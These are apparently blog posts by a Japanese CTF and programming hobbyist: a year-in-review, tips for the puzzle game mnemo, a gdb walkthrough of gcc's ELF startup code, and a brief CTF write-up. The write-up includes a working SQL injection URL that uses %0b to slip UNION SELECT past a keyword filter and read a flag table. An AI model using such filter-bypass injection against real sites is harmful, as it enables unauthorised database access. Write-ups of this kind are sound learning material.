def decrypt(data): key_a = "!@#$%^&*" key_b = "abcdefgh" key_c = '<>{}:"' key = key_a * 4 + "|" + (key_b + key_a + key_c)*2 + "|" + key_b*2 + "EOF" secret = rotor.newrotor(key) return secret.decrypt(data)
simplesqlin
まぁ、これは。solver300人くらいいた気がする。%0bを入れると避けられることをtotemさんが教えてどこかへ行ってしまったので、解いた。
http://202.120.7.203/index.php?id=5 union SE%0bLECT 0,0,flag FRO%0bM flag
暇だったので参加したけれど、各位は忙しそうだったので、daiさんと二人での参加に（ほぼ）なった。二日間あったけど、結局最終日の夜あたりが一番やっていた。２日あっても集中できるのは１日もないということなので、CTFは１日でよいという気持ちになった
あけましておめでとうございます
あけましておめでとうございます。年賀状情報です。
描いたのはStarryというプログラミング言語です。某esolang大会のときに、@kurgm氏が解いていた言語で、これがまさに星空のようで美しく、割と個人的に気に入りました。
今年もよろしくお願いします。
今年の総括
去年もこんなことを書いていた気がするので、今年もまた。
今までも十分浅く広かったんですが、今年はいつにもまして、浅く広く色々と触りました。なので、結局何も無いという感じですかね。
なんもわからん。
以下、gistやその他を参照して今年やったかなあと思うことをまとめます。
prml
prml、夏あたりはモチベが高く、読んでいたんだけれど10章、（というか10章がわからないことは9章後半に起因するかもしれないけれど）、あたりで萎えてしまった、来年の宿題にしていきたい。一応ちらほらと実装はした（動くことは保証してない）ので、リスト。特に、ニューラルネットに関しては勾配消失が深刻っぽく、5回に1回くらいしかうまく動かない。まぁ、tensorflowがあるし、問題ないでしょ、みたいな気持ち。
- support vector machine
- inverse transform sampling
- linear regression
- perceptron
- logistic regression
- neural network (sin fitting)
- q learning(prml外)
論文
ちらほらと機械学習の"有名とされている"論文を読んだ。もう少し、読んで、かつ実装してみたかったなぁという気持ち。
まとめようと思ったらスライド二つしかなかったなあ
CTF
TSG勢の人々が割とCTF好きの人が多かったので、CTFも少しやった。ksnctfの履歴とかを眺めていると懐かしいなあ〜という気持ちがつよい（某Bはついこの前倒したが（なんでだ？））。 多分覚えている範囲だと、CSAW、Hackcon、HITCON、Hackthevote、SECCON付近に参加した。 SECCON、HITCONをみている限りだと、pwnはもはやheapが常識らしく、なるほどなあという気持ちになった。 HITCONの正規表現ゲームが非常に面白く、正規表現謎コーディングにハマった。
他は無いかな
開発系
僕個人としては、あんまりWEBのことはわからんみたいな気持ちでいたんですが、@hakatashiさんの影響もあり、現代WEB（僕が知っていたのは古生代のWEBだった）についてある程度触った（触ったという表現が非常に正しそう）。ここら辺は今後も使う事が多いだろうし、今後もやらなきゃいけない部分かなあ。
多重振り子（ゴミ）
多体シミュレーションをやろうとしたんだけどなあ、結局なんかうまく発散せずにまとめられず飽きてしまった。 https://gist.github.com/moratorium08/49956701177d8e3bbe52f4b69bc96523
ゆゆ式
今後
数学やりてえ。
その他
あと、競プロに関しては、春頃はやるぞ！って思っていたのに、結局何もしていないので、目標とは、みたいな気持ちになっている・・・😢
mnemoにおける普遍的なテク
はじめに
この記事は、TSG Advent Calendar 22日目として書かれました。
タイトルだけ見るとなんかすごい技を紹介するみたいな風に見えますが、そうではなく、普通にやってもらっていて分かりにくいんじゃないかなと思ったりする部分をある程度補完したい、という思いで書こうと思いました（ただ、現状のランキングを見れば明らかにそんなことはなさそうなのでこの記事の意味はあまりなさそう）。
mnemoとは
TSGというサークルが作ったパズル的プログラミングゲームです。mnemo.proでできます。ぜひランキングに登録してください。たのしいです。詳しくは、博多市さんのブログ、パズルゲーム「MNEMO」を製作しましたをみてください。
1を作る
後ろの方では、定数ブロックとして、1が存在しますが、最初の方のステージでは存在しない場合があり、少し詰まるポイントなのかなあと思います。いくつか手法があります。
イコールブロックを使う
割り算ブロックを使う
これは、入力に0がないことが保証されている必要があります。
引くブロックを使う
イコールが使えなくて、０が入力にある時（現状あったかわからない）。点数的に弱い
0を作る
まぁ、はい。
余りの計算
mnemoにおいて、流れる数は全て整数で閉じています。割り算についてもその仕様が適用されて、割り切れない場合、小数切り捨てが起こります。切り捨てではないことに注意が必要です。これはC言語と同じ仕様なのですが、をする場合、答えば
ではなく
になります。
この整数に閉じているという性質を使うと、商を割った値で再びかけ、元の値から引くことで余りが求まります。つまりxをyで割ったあまりrは
ということになります。
この場合、負の数では負の余りになりますが、これはC言語でもそうなので、問題はないです（僕は納得いかないんですが。ちなみにPythonは"良い"言語なので、ちゃんと負の数でも正の余りになります）。具体的な回路としては次のような感じです。ここではあまり３を計算する回路を書いています。
ちなみに、に関しても切り捨てが存在し（mnemoでは、現状、
を超えない最大の整数という仕様になっています）、これと
をうまく使いこなすことで、うまいことができたりできなかったり・・・？
if then else
トランジスター使うだけですが、なんか思ったより書くことがなかったので。ちなみに、点数を考える場合、トランジスターはやや効率が悪く、できれば、三項演算子を使うべきです（？というやつです）。ここら辺の仕様は、モーダルとしても表示されますが、ここにも、まとめられています。
これも具体的に見た方がわかりやすいと思うので、簡単な回路を書いてみます。実際にあるステージを解いてしまっても面白くないので、ちょっと都合良い設定の問題として「3で割り切れるときは3倍、1あまる時は、2倍、2あまる時は1倍」という恣意的な問題（実際似たようなステージがありますが）を考えてみます。これは愚直に実装する場合、まさに
int f(int x) { int m = x % 3; if (m == 0) return x * 3; else if(m == 1) return x * 2; else return x; }
という回路を組めばよいことになります。これをmnemoで表現すると、次のようになります。
mnemoでは、条件分岐の真偽が0なら偽、0以外なら真となっています。したがって、例えば、1かどうかを判定する場合に、1を引いて0かどうかを判定すればよいことになります。
for
解いている人の数を見ていると、ループ問を解いている人は少ないです（時間がかかるからという理由が強そうですが）。再帰などを含まない回路の場合、ループカウンタを使ったループは非常に簡単にかけます（なので解いて・・・）。これは見た方が早いので、具体的な回路を組んでみます。10という数が上から流れてきて、1~10を（愚直に）足しあげるという操作を考えると、次のようになります。ちなみに、これを少し書き換えるだけで、階乗ステージはクリアすることが可能です。
点数の原理
mnemoの点数計算は、hakatashiさんによって生成されたとある式によって計算されています。定義が、一応、wikiにある案１というものになっています。簡単に言えばクロックが少なく、使ったブロックが少ない方がよいスコアになるようになっているはずです。ただ、ブロックは条件分岐が3点、演算子系が2点の重み付けがされているので注意が必要です。
さいごに
@hakatashi is pro.
gccが生成するELF付随品について探る
この記事はTSG Advent Calendarの21日目の記事として書かれたものです。
CTFやらでReversingをしていると、いつも見るframe_dummyやinit、本質ではない、的な感じでスルーをしているんですが、それなりに気になるところでもあり、少し深く見てみようかなと思います。
今回は、とりあえず
#include <stdio.h> int main(void) { printf("advent calendar 2016\n"); return 0; }
このソースコードをコンパイルして、中身を調査していきたいと思います。
$ gcc hello.c -o hello $ uname -a Linux vagrant-ubuntu-trusty-64 3.13.0-101-generic #148-Ubuntu SMP Thu Oct 20 22:08:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.5 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4 Copyright (C) 2013 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
これをdisassembleすると、main以外にもいくつか（むしろmainは5,6%程度にすぎない）の部分が含まれていることがわかります。普段は、あまり本質ではないので気にしないのですが（よくない）、今回は、大雑把な、初期化処理をしている〜、みたいな理解よりももう少しだけ、よく理解してみようと思います。
pltセクションの内容は今回の興味ではないので、.textと.initの部分にmain以外にどんな部分があるのかといえば、列挙すると以下になります。
00000000004003e0 <_init>: 0000000000400440 <_start>: 0000000000400470 <deregister_tm_clones>: 00000000004004a0 <register_tm_clones>: 00000000004004e0 <__do_global_dtors_aux>: 0000000000400500 <frame_dummy>: 0000000000400550 <__libc_csu_init>: 00000000004005c0 <__libc_csu_fini>:
初期化処理付近
まずは、_startについて。これは言うまでもなくEntrypointであり、
$ readelf -h hello ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400440 Start of program headers: 64 (bytes into file) Start of section headers: 4472 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 9 Size of section headers: 64 (bytes) Number of section headers: 30 Section header string table index: 27
0000000000400440 <_start>: 400440: 31 ed xor ebp,ebp 400442: 49 89 d1 mov r9,rdx 400445: 5e pop rsi 400446: 48 89 e2 mov rdx,rsp 400449: 48 83 e4 f0 and rsp,0xfffffffffffffff0 40044d: 50 push rax 40044e: 54 push rsp 40044f: 49 c7 c0 c0 05 40 00 mov r8,0x4005c0 400456: 48 c7 c1 50 05 40 00 mov rcx,0x400550 40045d: 48 c7 c7 2d 05 40 00 mov rdi,0x40052d 400464: e8 b7 ff ff ff call 400420 <__libc_start_main@plt> 400469: f4 hlt 40046a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
確かにこの0x400440は、_startを指していて、Entrypointです。_start自体に関しては、gdbを使って追ってみます。実行時引数として、「advent calendar」を与えて、実行します。まず、_startについた段階ではスタックの様子は
[------------------------------------stack-------------------------------------]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdfd0 --> 0x3
0008| 0x7fffffffdfd8 --> 0x7fffffffe24f ("/home/vagrant/host-share/adv/hello")
0016| 0x7fffffffdfe0 --> 0x7fffffffe272 --> 0x6300746e65766461 ('advent')
0024| 0x7fffffffdfe8 --> 0x7fffffffe279 ("calendar")
0032| 0x7fffffffdff0 --> 0x0
0040| 0x7fffffffdff8 --> 0x7fffffffe282 ("XDG_SESSION_ID=3")
0048| 0x7fffffffe000 --> 0x7fffffffe293 ("PYENV_ROOT=/home/vagrant/.pyenv")
0056| 0x7fffffffe008 --> 0x7fffffffe2b3 ("SHELL=/bin/bash")
[------------------------------------------------------------------------------][------------------------------------------------------------------------------]
となっています。この_startでは、__libc_start_mainを呼び出すための引数を整えています。具体的には、x64のcalling conventionがrdi, rsi, rdx, rcx, r8, r9の順に積み上がっていき、__libc_start_mainの引数が、
- mainアドレス
- argc
- argv
- initアドレス
- finiアドレス
- stack_end
であり、実際、__libc_start_mainの呼び出しの直前で止めたときにのレジスタは
RAX: 0x1c
RBX: 0x0
RCX: 0x400550 (<__libc_csu_init>: push r15)
RDX: 0x7fffffffdfd8 --> 0x7fffffffe24f ("/home/vagrant/host-share/adv/hello")
RSI: 0x3
RDI: 0x40052d (<main>: push rbp)
RBP: 0x0
RSP: 0x7fffffffdfc0 --> 0x7fffffffdfc8 --> 0x1c
RIP: 0x400464 (<_start+36>: call 0x400420 <__libc_start_main@plt>)
R8 : 0x4005c0 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7dea530 (<_dl_fini>: push rbp)
R10: 0x14
R11: 0x1
R12: 0x400440 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdfd0 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
となっていてmain、__libc_csu_initや__libc_csu_finiなどが正しく渡されていることがわかります。
関数のリストにはないですが、このまま__libc_start_mainの挙動を追ってみます。これは、Cのソースコードを見てみることができ、実際に、mainが第一引数argc, 第二引数argv,そしてenvironが第三引数として渡されていることが確認できます。また、mainの返り値をexitに引数として与えているのも見て取れます。
/* Run the program. */
result = main (argc, argv, __environ MAIN_AUXVEC_PARAM);
さらに、引数として渡した__libc_csu_initは、
if (init)
(*init) (argc, argv, __environ MAIN_AUXVEC_PARAM);
として、呼び出されていて、gdbで確認してみると、
0x7ffff7a36ecc <__libc_start_main+124>: mov edi,DWORD PTR [rsp+0x14]
0x7ffff7a36ed0 <__libc_start_main+128>: mov rdx,QWORD PTR [rax]
=> 0x7ffff7a36ed3 <__libc_start_main+131>: call rbp
0x7ffff7a36ed5 <__libc_start_main+133>:
mov rax,QWORD PTR [rip+0x39bf84] # 0x7ffff7dd2e60
で、
gdb-peda$ p $rbp $1 = (void *) 0x400550 <__libc_csu_init>
となっていて、中身が呼び出されます。__libc_csu_initのソースコードが見れるので、これを、コメントなどを取り除いて、また必要ない部分はなくし、小さくまとめたものが次のコードです（LIBC_NONSHAREDのifdefの部分は、今見ている部分には無さそうという理由でカットしています）。
void __libc_csu_init (int argc, char **argv, char **envp) { _init (); const size_t size = __init_array_end - __init_array_start; for (size_t i = 0; i < size; i++) (*__init_array_start [i]) (argc, argv, envp); }
これと、__libc_csu_initをdisassembleした結果を照らし合わせてみると、まず、_initを呼び出す操作があって、
40057e: e8 5d fe ff ff call 4003e0 <_init>
もう一つの処理として*__init_array_start配列に含まれる関数群を呼び出す操作としては、
0000000000400550 <__libc_csu_init>: 400561: 4c 8d 25 a8 08 20 00 lea r12,[rip+0x2008a8] # 600e10 <__frame_dummy_init_array_entry> 400568: 55 push rbp 400569: 48 8d 2d a8 08 20 00 lea rbp,[rip+0x2008a8] # 600e18 <__init_array_end> 400570: 53 push rbx 400571: 4c 29 e5 sub rbp,r12 400574: 31 db xor ebx,ebx 400576: 48 c1 fd 03 sar rbp,0x3 40057a: 48 83 ec 08 sub rsp,0x8 [省略] 400590: 4c 89 ea mov rdx,r13 400593: 4c 89 f6 mov rsi,r14 400596: 44 89 ff mov edi,r15d 400599: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 40059d: 48 83 c3 01 add rbx,0x1 4005a1: 48 39 eb cmp rbx,rbp 4005a4: 75 ea jne 400590 <__libc_csu_init+0x40>
となっています。ここでは前半部分で、__init_array_endから__frame_dummy_init_array_entryの間にあるポインタの数を計算して、後半のfor文でそれらを呼び出すという処理がされているということがわかります。これらの実行を実際にgdbで確認してみて、何が呼び出されるのかを見てみます。
gdb-peda$ p 0x600e18 - 0x600e10 $1 = 0x8 gdb-peda$ x/x 0x600e10 0x600e10: 0x0000000000400500 gdb-peda$ x/10i 0x0000000000400500 0x400500 <frame_dummy>: cmp QWORD PTR [rip+0x200918],0x0 # 0x600e20 0x400508 <frame_dummy+8>: je 0x400528 <frame_dummy+40> 0x40050a <frame_dummy+10>: mov eax,0x0 0x40050f <frame_dummy+15>: test rax,rax 0x400512 <frame_dummy+18>: je 0x400528 <frame_dummy+40> 0x400514 <frame_dummy+20>: push rbp 0x400515 <frame_dummy+21>: mov edi,0x600e20 0x40051a <frame_dummy+26>: mov rbp,rsp 0x40051d <frame_dummy+29>: call rax 0x40051f <frame_dummy+31>: pop rbp
すると、このテーブルにはframe_dummyが登録されていることがわかります（他にはこの状況では何も登録されていないこともわかります）。 では、ある意味で今回の主役であるframe_dummyはどういうことをしているのか、について調べて行きます。
0000000000400500 <frame_dummy>: 400500: 48 83 3d 18 09 20 00 cmp QWORD PTR [rip+0x200918],0x0 # 600e20 <__JCR_END__> 400507: 00 400508: 74 1e je 400528 <frame_dummy+0x28> 40050a: b8 00 00 00 00 mov eax,0x0 40050f: 48 85 c0 test rax,rax 400512: 74 14 je 400528 <frame_dummy+0x28> 400514: 55 push rbp 400515: bf 20 0e 60 00 mov edi,0x600e20 40051a: 48 89 e5 mov rbp,rsp 40051d: ff d0 call rax 40051f: 5d pop rbp 400520: e9 7b ff ff ff jmp 4004a0 <register_tm_clones> 400525: 0f 1f 00 nop DWORD PTR [rax] 400528: e9 73 ff ff ff jmp 4004a0 <register_tm_clones>
gdbで実行してみると、__JCR_END__が
gdb-peda$ x/x 0x600e20 0x600e20: 0x0000000000000000
となっていますが、__JCR_END__が0であろうとなかろうと結局やっていることは、register_tm_clonesにjumpするということで、frame_dummyは今回ただregister_tm_clonesにjumpするだけのもののようです。結局これだけしかやってないのかあという感じです。
では、次に_initが__libc_csu_initで呼び出されるので、_initがどうなっていくかを追ってみます。 _initのdisassemble結果は短いので、貼ってしまいますが、
00000000004003e0 <_init>: 4003e0: 48 83 ec 08 sub rsp,0x8 4003e4: 48 8b 05 0d 0c 20 00 mov rax,QWORD PTR [rip+0x200c0d] # 600ff8 <_DYNAMIC+0x1d0> 4003eb: 48 85 c0 test rax,rax 4003ee: 74 05 je 4003f5 <_init+0x15> 4003f0: e8 3b 00 00 00 call 400430 <__gmon_start__@plt> 4003f5: 48 83 c4 08 add rsp,0x8 4003f9: c3 ret
となっています。結局_DYNAMIC+0x1d0が0以外のときは__gmon_start__を呼ぶし、0ならば呼ばないということをしているようです。__gmon_start__の実装を見てみると、
void __gmon_start__ (void) { #ifdef HAVE_INITFINI static int called; if (called) return; called = 1; #endif /* Start keeping profiling records. */ __monstartup ((u_long) TEXT_START, (u_long) &etext); atexit (&_mcleanup); }
一回だけしか呼び出されないようになっていて、また結局_monstartupを呼び出すのが本質のようです。これ自体は、コメントにもあるように、Profiling記録を開始する関数のようで、これ以上は、とりあえずおいておくことにして次の関数に行きたいと思います。
とりあえず、__libc_start_mainまで話を戻します。ここでは、__libc_csu_initの他にも__libc_csu_finiを呼び出す関数を呼び出しています。Cのソースコードでいうと、
if (fini) _cxa_atexit ((void (*) (void *)) fini, NULL, NULL);
という部分です。これもlibcの実装を見てみると、
int attribute_hidden __internal_atexit (void (*func) (void *), void *arg, void *d, struct exit_function_list **listp) { struct exit_function *new = __new_exitfn (listp); if (new == NULL) return -1; #ifdef PTR_MANGLE PTR_MANGLE (func); #endif new->func.cxa.fn = (void (*) (void *, int)) func; new->func.cxa.arg = arg; new->func.cxa.dso_handle = d; atomic_write_barrier (); new->flavor = ef_cxa; return 0; } int __cxa_atexit (void (*func) (void *), void *arg, void *d) { return __internal_atexit (func, arg, d, &__exit_funcs); }
これをみると、exit_funcsのリンクリストに新しいエントリとして渡されたfuncをつないでいる（多分）ようです。
Transactional Memory系
具体的に言えば
- register_tm_clones
- deregister_tm_clones
ですが、これに関してはあんまり挙動がよくわからないというのが正直なところで、詳しいことがあんまよくわからないです。マルチスレッドにおいて、共有するメモリへのアクセスが考えられる時に、TMが使われる、ということですが、今回のプログラムとどう関連しているかはよくわからないです。。
さいごに
なんか最後の方疲れてしまった。期限も過ぎているのでとりあえず公開しますが、余力があったらいつか追記します。
